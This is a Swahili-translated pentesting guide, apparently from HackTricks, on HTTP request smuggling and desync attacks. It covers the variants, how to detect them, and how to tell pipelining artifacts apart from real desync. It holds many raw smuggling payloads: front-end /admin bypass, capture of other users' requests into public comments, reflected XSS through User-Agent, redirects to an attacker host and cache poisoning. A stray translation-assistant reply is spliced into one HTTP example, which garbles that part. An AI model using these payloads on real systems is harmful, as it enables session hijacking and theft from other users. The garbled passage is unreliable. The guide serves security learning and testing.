hacktricks/src/pentesting-web/http-request-smuggling/README.md

HTTP Request Smuggling / HTTP Desync Attack

{{#include ../../banners/hacktricks-training.md}}

Ni Nini

Udhaifu huu hutokea wakati kuna desyncronization kati ya front-end proxies na back-end server ikimruhusu attacker kutuma HTTP request ambayo itatafsiriwa kama single request na front-end proxies (load balance/reverse-proxy) na kama 2 request na back-end server.
Hii inamruhusu mtumiaji kubadilisha request inayofuata itakayofika kwenye back-end server baada ya yake.

Nadharia

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Uhalisia

The Front-End (a load-balance / Reverse Proxy) process the content-length au transfer-encoding header na Back-end server inaprocesi nyingine, ikisababisha desyncronization kati ya mifumo miwili.
Hii inaweza kuwa hatari sana kwani attacker ataweza kutuma request moja kwa reverse proxy ambayo itatafsiriwa na back-end server kama requests 2 tofauti. Hatari ya mbinu hii ni kwamba back-end server itaona request ya pili iliyochanganywa kana kwamba ilitoka kwa mteja mwingine na request halisi ya mteja huyo itakuwa sehemu ya request iliyochanganywa.

Maelezo Maalum

Kumbuka kuwa katika HTTP new line character inaundwa na bytes 2:

• Content-Length: Header hii inatumia nambari ya desimali kuonyesha idadi ya bytes za body ya request. Body inatarajiwa kumalizika kwa tabia ya mwisho; newline haifai mwishoni mwa request.
• Transfer-Encoding: Header hii inatumia katika body nambari ya hexadecimal kuonyesha idadi ya bytes za chunk inayofuata. Chunk inapaswa kumalizika kwa newline lakini newline hii haisi kuhesabiwa na kipimo cha urefu. Mbinu hii ya uhamisho lazima imalizike na chunk ya ukubwa 0 ikifuatiwa na new lines 2: 0
• Connection: Kutokana na uzoefu wangu inapendekezwa kutumia Connection: keep-alive kwenye request ya kwanza ya request Smuggling.

Inaonekana - Iliyofichwa

Tatizo kuu na http/1.1 ni kwamba maombi yote yanaingia kwenye socket moja ya TCP, hivyo ikiwa kutatokea tofauti kati ya mifumo miwili inayopokea maombi, inawezekana kutuma request moja itakayotendewa kama requests 2 tofauti (au zaidi) na backend ya mwisho (au hata mifumo ya kati).

This blog post inaleta njia mpya za kugundua desync attacks kwa mfumo ambazo hazitatazamwa na WAFs. Lengo hapa ni kujaribu kupata tofauti katika majibu kwa kutumia mbinu ambazo zinaweza kusababisha desyncs bila kutilia maanani exploit yoyote.

Kwa mfano, kutuma request na host header ya kawaida na header " host", ikiwa backend itashangaa kuhusu request hii (labda kwa sababu value ya " host" si sahihi) inaweza kuonyesha kuwa front-end haikuona header " host" wakati back-end ilitumia, jambo linaloashiria desync kati ya front-end na back-end.

Hii ingekuwa Hidden-Visible discrepancy.

Kama front-end ingekuwa imezingatia header " host" lakini back-end haiku, hii ingeweza kuwa Visible-Hidden.

Kwa mfano, hii iliruhusu kugundua desyncs kati ya AWS ALB kama front-end na IIS kama backend. Hii ilitokana na ukweli kwamba wakati "Host: foo/bar" ilitumwa, ALB ilirudisha 400, Server; awselb/2.0, lakini wakati "Host : foo/bar" ilitumwa, ilirudisha 400, Server: Microsoft-HTTPAPI/2.0, ikionyesha backend ndiye anayeleta jibu. Hii ni Hidden-Vissible (H-V) situation.

Kumbuka kuwa hali hii haijarekebishwa kwenye AWS, lakini inaweza kuzuiwa kwa kuweka routing.http.drop_invalid_header_fields.enabled na routing.http.desync_mitigation_mode = strictest.

Mifano ya Msingi

Tip

Unapojaribu ku-exploit hii kwa kutumia Burp Suite zimia Update Content-Length na Normalize HTTP/1 line endings kwenye repeater kwa sababu baadhi ya gadgets hutumia newlines, carriage returns na content-lengths zisizopangwa vizuri.

HTTP request smuggling attacks zinaundwa kwa kutuma requests zenye utofauti (ambiguous) zinazotumia tofauti jinsi front-end na back-end servers zinavyotafsiri headers za Content-Length (CL) na Transfer-Encoding (TE). Attacks hizi zinaweza kuonekana kwa aina tofauti, hasa kama CL.TE, TE.CL, na TE.TE. Kila aina inaonyesha mchanganyiko wa jinsi front-end na back-end zinavyopendelea headers hizi. Udhaifu hutokea wakati servers zinaprosesi request moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na ya uharibifu.

Mifano Msingi ya Aina za Udhaifu

Tip

Kwa meza iliyotangulia unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 lakini ikitumia Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

• Front-End (CL): Inaprocesi request kulingana na header ya Content-Length.

• Back-End (TE): Inaprocesi request kulingana na header ya Transfer-Encoding.

• Senario ya Attack:

• Attacker anatumia request ambapo value ya header ya Content-Length hailingani na urefu halisi wa yaliyomo.

• Front-end server inatuma request nzima kwa back-end kulingana na value ya Content-Length.

• Back-end server inaprocesi request kama chunked kutokana na header ya Transfer-Encoding: chunked, ikitafsiri data iliyobaki kama request tofauti, inayofuata.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

• Front-End (TE): Inaprocesi request kulingana na header ya Transfer-Encoding.

• Back-End (CL): Inaprocesi request kulingana na header ya Content-Length.

• Senario ya Attack:

• Attacker anatumia chunked request ambapo chunk size (7b) na urefu halisi (Content-Length: 4) havilingani.

• Front-end server, ikizingatia Transfer-Encoding, inatuma request nzima kwa back-end.

• Back-end server, ikizingatia Content-Length, inaprocesi tu sehemu ya awali ya request (7b bytes), ikiacha sehemu iliyobaki kuwa sehemu ya request isiyotakiwa inayofuata.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

• Servers: Zote mbili zinaunga mkono Transfer-Encoding, lakini moja inaweza kudanganywa ili kusahau header kwa kutumia obfuscation.

• Senario ya Attack:

• Attacker anatumia request yenye headers za Transfer-Encoding zilizofichwa/obfuscated.

• Kulingana na server ambayo (front-end au back-end) haikutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.

• Sehemu isiyoproseswa ya request, kama inavyoonekana na server moja, inakuwa sehemu ya request inayofuata, na kusababisha smuggling.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

• Servers zote mbili zinaprocesi request kulingana tu na header ya Content-Length.
• Hali hii kwa kawaida haitoi nafasi ya smuggling, kwani kuna muafaka katika jinsi servers zote zinavyothibitisha urefu wa request.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

• Inahusu senario ambapo header ya Content-Length ipo na ina thamani tofauti na sifuri, ikionyesha kuwa body ya request ina yaliyomo. Back-end hupuuza header ya Content-Length (inachukuliwa kama 0), lakini front-end inailenga.
• Hii ni muhimu kuelewa na kutengeneza smuggling attacks, kwani inaathiri jinsi servers zinavyobaini mwisho wa request.
• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

• Kama iliyotangulia lakini ikitumia TE.
• Technique reported here
• Mfano:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Hali

Katika hali ya 0.CL, request inatumwa na Content-Length ifuatayo:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Na front-end haizingatii Content-Length kwa hivyo inatuma ombi la kwanza tu kwa backend (hadi 7 katika mfano). Hata hivyo, backend inaona Content-Length na inasubiri body ambayo haiwahi kufika kwa sababu front-end tayari inasubiri response.

Hata hivyo, ikiwa kuna ombi ambalo linawezekana kutumwa kwa backend ambalo linajibiwa kabla ya kupokea body ya ombi, deadlock hii haitatokea. Katika IIS kwa mfano hili hutokea kutuma maombi kwa maneno yaliyokatazwa kama /con (angalia documentation), kwa njia hii, ombi la awali litajibiwa moja kwa moja na ombi la pili litakuwa na ombi la mwathiriwa kama:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Hii ni muhimu kusababisha desync, lakini haikuwa na athari hadi sasa.

Hata hivyo, chapisho linatoa suluhisho kwa hili kwa kubadilisha 0.CL attack into a CL.0 with a double desync.

Kuvunja seva ya wavuti

Mbinu hii pia inatumika katika mazingira ambapo inawezekana kusababisha seva ya wavuti kuvunjika wakati wa kusoma data za awali za HTTP lakini bila kufunga muunganisho. Kwa njia hii, body ya HTTP request itachukuliwa kama next HTTP request.

Kwa mfano, kama ilivyoelezwa katika this writeup, katika Werkzeug ilikuwa inawezekana kutuma baadhi ya herufi za Unicode na itaifanya seva ivunjike. Hata hivyo, kama HTTP connection iliumbwa na header Connection: keep-alive, body ya request haitasomwa na connection itaendelea kuwa wazi, hivyo body ya request itachukuliwa kama next HTTP request.

Kuamsha kupitia hop-by-hop headers

Kwa kutumia kwa njia mbaya hop-by-hop headers unaweza kumshawishi proxy kufuta header Content-Length au Transfer-Encoding, hivyo kufuta header Content-Length au Transfer-Encoding ili kuwezesha HTTP request smuggling kutumiwa.

Connection: Content-Length

For more information about hop-by-hop headers visit:

{{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}}

Kupata HTTP Request Smuggling

Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanikiwa kwa kutumia mbinu za kupima muda (timing techniques), ambazo zinategemea kuchunguza ni muda gani server inachukua kujibu requests zilizobadilishwa. Mbinu hizi zinafaa hasa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kupata udhaifu huo:

Kupata udhaifu za CL.TE kwa kutumia mbinu za kupima muda

• Njia:

• Tuma ombi ambalo, ikiwa application ina udhaifu, litasababisha back-end server kusubiri data ya ziada.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Uchunguzi:

• Front-end server inachakata ombi kulingana na Content-Length na kukata ujumbe mapema.

• Back-end server, ambayo inatarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haijafika, ikisababisha ucheleweshaji.

• Viashiria:

• Timeouts au ucheleweshaji mrefu wa majibu.

• Kupata hitilafu 400 Bad Request kutoka kwa back-end server, wakati mwingine ikijumuisha taarifa za kina kuhusu server.

Kupata udhaifu za TE.CL kwa kutumia mbinu za kupima muda

• Njia:

• Tuma ombi ambalo, ikiwa application ina udhaifu, litasababisha back-end server kusubiri data ya ziada.

• Mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Uchunguzi:
• Front-end server inachakata ombi kulingana na Transfer-Encoding na kupeleka ujumbe mzima mbele.
• Back-end server, ambayo inatarajia ujumbe kulingana na Content-Length, inasubiri data ya ziada ambayo haijafika, ikisababisha ucheleweshaji.

Mbinu nyingine za kupata udhaifu

• Differential Response Analysis:
• Tuma matoleo kidogo tofauti ya ombi na uangalie kama majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha kutofanana kwa jinsi yanavyopangwa.
• Using Automated Tools:
• Zana kama Burp Suite's 'HTTP Request Smuggler' extension zinaweza kujaribu kiautomatic udhaifu hizi kwa kutuma aina mbalimbali za requests zilizo na utata na kuchambua majibu.
• Content-Length Variance Tests:
• Tuma requests zenye thamani tofauti za Content-Length ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi server inavyoshughulikia tofauti hizi.
• Transfer-Encoding Variance Tests:
• Tuma requests zenye Transfer-Encoding zilizofichwa au zilizovurugika na angaa jinsi front-end na back-end servers zinavyoitenda kwa namna tofauti kutokana na uchezaji huo.

The Expect: 100-continue header

Angalia jinsi header hii inaweza kusaidia ku-exploit http desync katika:

{{#ref}} ../../network-services-pentesting/pentesting-web/special-http-headers.md {{#endref}}

HTTP Request Smuggling Vulnerability Testing

Baada ya kuthibitisha ufanisi wa mbinu za kupima muda, ni muhimu kuthibitisha kama requests za client zinaweza kubadilishwa. Njia rahisi ni kujaribu kuchanganya (poison) requests zako, kwa mfano, kufanya ombi kwa / lipatie majibu ya 404. Mifano ya CL.TE na TE.CL iliyojadiliwa hapo awali katika Basic Examples inaonyesha jinsi ya kuchanganya ombi la mteja ili kupata jibu la 404, licha ya mteja kulenga rasilimali tofauti.

Mambo Muhimu ya Kuzingatia

Unapojaribu request smuggling kwa kuingilia requests za wengine, zingatia:

• Distinct Network Connections: Maombi ya "attack" na "normal" yanapaswa kutumwa kupitia muunganisho tofauti wa mtandao. Kutumia muunganisho ule ule kwa yote mawili hakuthibitishi kuwepo kwa udhaifu.
• Consistent URL and Parameters: Lenga kutumia URLs na majina ya parameters sawa kwa maombi yote mawili. Programu za kisasa mara nyingi zinaelekeza requests kwa back-end servers maalum kulingana na URL na parameters. Kuwa na ulinganifu huu kunaongeza uwezekano kwamba maombi yote mawili yatashughulikiwa na server ile ile, jambo muhimu kwa shambulio kufaulu.
• Timing and Racing Conditions: Ombi la "normal", linalokusudia kugundua kuingiliwa na ombi la "attack", linashindana na requests nyingine zinazoendeshwa kwa wakati huo. Kwa hivyo, tuma ombi la "normal" mara moja baada ya ombi la "attack". Programu zilizo na shughuli nyingi zinaweza kuhitaji majaribio mengi ili kuthibitisha udhaifu.
• Load Balancing Challenges: Front-end servers zinazofanya kama load balancers zinaweza kugawanya requests kwa back-end systems mbalimbali. Ikiwa maombi ya "attack" na "normal" yanamalizika kwenye systems tofauti, shambulio halitaenda. Kipengele hiki cha load balancing kinaweza kuhitaji majaribio kadhaa ili kuthibitisha udhaifu.
• Unintended User Impact: Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "normal" ulilotuma kwa kugundua), hii inaonyesha shambulio lako limeathiri mtumiaji mwingine wa programu. Kupitiliza kujaribu kunaweza kuvuruga watumiaji wengine; kwa hivyo kuwa mwangalifu.

Kutofautisha artifacts za pipelining za HTTP/1.1 dhidi ya request smuggling halisi

Connection reuse (keep-alive) na pipelining vinaweza kwa urahisi kuunda udanganyifu wa "smuggling" katika zana za mtihani zinazotuma maombi mengi kwenye socket moja. Jifunze kutenganisha artifacts zisizo hatari za upande wa client na desync halisi ya upande wa server.

Kwa nini pipelining huunda false positives za kawaida

HTTP/1.1 inarudisha matumizi ya muunganisho mmoja wa TCP/TLS na kuunganisha requests na responses kwenye mtiririko ule ule. Katika pipelining, client inatuma requests nyingi mfululizo na kutegemea majibu kwa mpangilio. False-positive ya kawaida ni kutuma tena payload iliyokosewa ya mtindo CL.0 mara mbili kwenye muunganisho mmoja:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

I don't have the file contents. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md that you want translated. I will translate the relevant English text to Swahili while preserving all markdown, code, tags, links, paths and hacking terms as you specified.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Ikiwa server iliipuuzia Content_Length iliyopangwa vibaya, hakuna FE↔BE desync. Kwa kutumia upya, client yako kwa kweli ilituma byte-stream hii, ambayo server iliparse kama requests mbili za kujitegemea:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Athari: hakuna. Umeleta desync kati ya client na server framing.

Tip

Burp modules zinazotegemea reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

1. Disable reuse and re-test

• Katika Burp Intruder/Repeater, zima HTTP/1 reuse na epuka "Send group in sequence".
• Katika Turbo Intruder, weka requestsPerConnection=1 na pipeline=False.
• Ikiwa tabia inapotoweka, labda ilikuwa pipelining upande wa client, isipokuwa ikiwa unashughulika na connection-locked/stateful targets au client-side desync.

2. HTTP/2 nested-response check

• Tuma ombi la HTTP/2. Ikiwa mwili wa response una response kamili ya nested HTTP/1, umeathibitisha bug ya backend parsing/desync badala ya artifact ya client peke yake.

3. Partial-requests probe for connection-locked front-ends

• Baadhi ya FEs zinatumia tena tu connection ya upstream BE ikiwa client alitumia yao tena. Tumia partial-requests kugundua tabia ya FE inayofanana na client reuse.
• Angalia PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya connection-locked.

4. State probes

• Angalia tofauti kati ya ombi la kwanza na ombi la baadaye kwenye connection moja ya TCP (first-request routing/validation).
• Burp "HTTP Request Smuggler" inajumuisha connection‑state probe inayofanya otomatiki hili.

5. Visualize the wire

• Tumia extension ya Burp "HTTP Hacker" kuchunguza concatenation na message framing moja kwa moja wakati wa kujaribu reuse na partial requests.

Connection‑locked request smuggling (reuse-required)

Baadhi ya front-ends zinatumia tena connection ya upstream tu wakati client anaitumia yao tena. Real smuggling ipo lakini inategemea client-side reuse. Ili kutofautisha na kuthibitisha athari:

• Thibitisha bug upande wa server
• Tumia HTTP/2 nested-response check, au
• Tumia partial-requests kuonyesha FE inatumia tena upstream tu inapomtegemea client.
• Onyesha athari halisi hata kama direct cross-user socket abuse imezuiwa:
• Cache poisoning: poison shared caches via the desync so responses affect other users.
• Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
• Bypass FE controls: smuggle restricted paths/methods past the front-end.
• Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
• Operator workflow
• Rudia kwa reuse iliyodhibitiwa (Turbo Intruder requestsPerConnection=2, au Burp Repeater tab group → "Send group in sequence (single connection)").
• Kisha chain kwa cache/header-leak/control-bypass primitives na onyesha athari kwa cross-user au authorization.

Tazama pia connection‑state attacks, ambazo zina uhusiano karibu lakini si kiufundi smuggling:

{{#ref}} ../http-connection-request-smuggling.md

{{#endref}}

Client‑side desync constraints

Ikiwa unalenga browser-powered/client-side desync, ombi hasidi lazima litumwe na browser kwa cross-origin. Header obfuscation tricks hazitafanyi kazi. Lenga primitives zinazoweza kufikiwa kupitia navigation/fetch, kisha pivota kwa cache poisoning, header disclosure, au front-end control bypass ambapo downstream components zinaonyesha au kushika responses.

Kwa historia na workflows za end-to-end:

{{#ref}} browser-http-request-smuggling.md {{#endref}}

Tooling to help decide

• HTTP Hacker (Burp BApp Store): inaonyesha low-level HTTP behavior na socket concatenation.
• "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
• Turbo Intruder: udhibiti sahihi wa connection reuse kupitia requestsPerConnection.
• Burp HTTP Request Smuggler: inajumuisha connection‑state probe kugundua first‑request routing/validation.

Note

Chukulia athari zinazotegemea reuse pekee kama sio masuala isipokuwa unaweza kuthibitisha server-side desync na kuonyesha athari halisi (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, n.k.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Wakati mwingine, front-end proxies zinaweka hatua za usalama, zikifuatilia maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kukweptwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwenye endpoints zilizozuiliwa. Kwa mfano, kufikia /admin inaweza kuzuia kwa upande wa nje, na front-end proxy ikizuia majaribio hayo. Hata hivyo, proxy hii inaweza kukosa kuchunguza maombi yaliyofungwa ndani ya smuggled HTTP request, na hivyo kuacha nafasi ya kukwepa vizuizi hivyo.

Angalia mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inavyoweza kutumika kukwepa udhibiti wa usalama wa front-end, hasa inalenga njia ya /admin ambayo kwa kawaida inalindwa na front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In the CL.TE attack, the Content-Length header is leveraged for the initial request, while the subsequent embedded request utilizes the Transfer-Encoding: chunked header. The front-end proxy processes the initial POST request but fails to inspect the embedded GET /admin request, allowing unauthorized access to the /admin path.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la POST linatumia Transfer-Encoding: chunked, na ombi lililojazwa baadaye linashughulikiwa kulingana na kichwa cha Content-Length. Kama ilivyo katika shambulio la CL.TE, the front-end proxy hupuuza the smuggled GET /admin request, na bila kukusudia hutoa ufikiaji kwa njia iliyozuiliwa /admin.

Kufichua uhariri wa maombi wa front-end

Programu za wavuti mara nyingi hutumia front-end server kubadilisha maombi yanayoingia kabla ya kuyapeleka kwa back-end server. Marekebisho ya kawaida ni pamoja na kuongeza headers, kama X-Forwarded-For: <IP of the client>, ili kusafirisha IP ya mteja kwa back-end. Kuelewa mabadiliko haya kunaweza kuwa muhimu, kwani yanaweza kufichua njia za kuepuka ulinzi au kugundua taarifa zilizofichwa au endpoints.

Ili kuchunguza jinsi proxy inavyobadilisha ombi, tafuta parameter ya POST ambayo back-end inarudia katika response. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, sawa na ifuatayo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Katika muundo huu, vipengele vinavyofuata vya request vinaongezwa baada ya search=, ambayo ni parameter inayorudishwa katika response. Uakisi huu utafunua headers za request inayofuata.

Ni muhimu kulinganisha header ya Content-Length ya nested request na urefu halisi wa content. Kuanza na thamani ndogo na kuiongezea polepole ni busara, kwa sababu thamani ndogo itakata data iliyoreflektwa, wakati thamani kubwa sana inaweza kusababisha request kutoa error.

Mbinu hii pia inafaa katika muktadha wa TE.CL vulnerability, lakini request inapaswa kumalizika kwa search=\r\n0. Bila kuzingatia newline characters, thamani zitatajirisha kwenye parameter ya search.

Njia hii kwa msingi wake inatumika kuelewa mabadiliko ya request yanayotolewa na front-end proxy, kwa msingi kufanya uchunguzi wa kujitegemea.

Kukamata requests za watumiaji wengine

Inawezekana kukamata requests za mtumiaji anayefuata kwa kuambatisha request maalum kama value ya parameter wakati wa operesheni ya POST. Hivi ndivyo inavyoweza kufanywa:

Kwa kuambatisha request ifuatayo kama value ya parameter, unaweza kuhifadhi request ya client inayofuata:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Katika tukio hili, comment parameter inakusudiwa kuhifadhi yaliyomo ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, yaliyomo ya request inayofuata yataonekana kama maoni.

Hata hivyo, mbinu hii ina mipaka. Kwa ujumla, inakamata data tu hadi delimiter ya parameter inayotumiwa katika smuggled request. Kwa URL-encoded form submissions, delimiter ni tabia ya &. Hii inamaanisha yaliyomkamatwa kutoka kwa request ya mtumiaji mjeruhi yatakwama kwenye & ya kwanza, ambayo inaweza hata kuwa sehemu ya query string.

Zaidi ya hayo, inafaa kutambua kuwa njia hii pia inaweza kufanya kazi kwa TE.CL vulnerability. Katika kesi hizo, request inapaswa kumalizika na search=\r\n0. Bila kujali newline characters, thamani zitakuwa appended kwenye parameter ya search.

Kutumia HTTP request smuggling to exploit Reflected XSS

HTTP Request Smuggling inaweza kutumika ku-exploit kurasa za wavuti zilizoathirika na Reflected XSS, ikitoa faida kubwa:

• Kujihusisha na watumiaji walengwa hayahitajiki.
• Inawezesha ku-exploit XSS katika sehemu za request ambazo kwa kawaida ni hazipatikani, kama HTTP request headers.

Katika matukio ambapo tovuti inakabiliwa na Reflected XSS kupitia User-Agent header, payload ifuatayo inaonyesha jinsi ya ku-exploit vulnerability hii:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Payload hii imepangwa kutumia udhaifu kwa njia zifuatazo:

1. Kuanza ombi la POST, linaloonekana kawaida, kwa header Transfer-Encoding: chunked kuonyesha mwanzo wa smuggling.
2. Kufuata na 0, ikionyesha mwisho wa body ya meseji ya chunked.
3. Kisha, ombi lililosmuggle la GET linaingizwa, ambapo header User-Agent limeingizwa na script <script>alert(1)</script>, likochochea XSS wakati server inachakata ombi hili.

Kwa kuathiri User-Agent kupitia smuggling, payload hupita (bypasses) vizingiti vya kawaida vya maombi, na hivyo kutumia Reflected XSS vulnerability kwa njia isiyo ya kawaida lakini yenye ufanisi.

HTTP/0.9

Caution

Ikiwa maudhui ya mtumiaji yanarudishwa kwenye response yenye Content-type kama text/plain, ambayo inazuia utekelezaji wa XSS. Ikiwa server inaunga mkono HTTP/0.9 inaweza kuwa inawezekana bypass hii!

Toleo la HTTP/0.9 lilikuwepo kabla ya 1.0 na linatumia tu vitenzi vya GET na halijibu kwa headers, bali mwili tu.

Katika this writeup, hili lilitumiwa kwa request smuggling na endpoint iliyo dhaifu ambayo itajibu kwa maingizo ya mtumiaji ili kusmuggle ombi kwa HTTP/0.9. Parameteri ambayo itarudishwa kwenye response ilikuwa na fake HTTP/1.1 response (with headers and body) hivyo response itajumuisha msimbo halali wa JS unaotekelezeka pamoja na Content-Type ya text/html.

Kutumia On-site Redirects with HTTP Request Smuggling

Maombi mara nyingi huredirect kutoka URL moja hadi nyingine kwa kutumia hostname kutoka kwenye header ya Host katika redirect URL. Hii ni ya kawaida kwa web servers kama Apache na IIS. Kwa mfano, kuomba folda bila slash ya mwisho husababisha redirect ili kujumuisha slash:

GET /home HTTP/1.1
Host: normal-website.com

Matokeo:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Ingawa inaonekana isiyoharibu, tabia hii inaweza kudhibitiwa kwa kutumia HTTP request smuggling ili kupeleka watumiaji kwenye tovuti ya nje. Kwa mfano:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ombi hili smuggled request linaweza kusababisha ombi la mtumiaji linalofanyiwa usindikaji lifuatayo kuelekezwa hadi attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Matokeo yake:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Katika tukio hili, ombi la mtumiaji la faili ya JavaScript linachukuliwa na mshambuliaji. Mshambuliaji anaweza kumdhuru mtumiaji kwa kumtumia JavaScript yenye madhara kama jibu.

Kutumia Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning inaweza kufanywa ikiwa kipengele chochote cha miundombinu ya mbele kinakamata yaliyomo, kawaida ili kuboresha utendaji. Kwa kuutapanya jibu la server, inawezekana poison the cache.

Awali, tuliona jinsi majibu ya server yalivyoweza kubadilishwa ili kurudisha kosa la 404 (rejea Basic Examples). Vivyo hivyo, inawezekana kumdanganya server ili itume yaliyomo ya /index.html kama jibu kwa ombi la /static/include.js. Kwa hivyo, yaliyomo ya /static/include.js yanabadilishwa kwenye cache na yale ya /index.html, na kuifanya /static/include.js isipatikane kwa watumiaji, jambo linaloweza kusababisha Denial of Service (DoS).

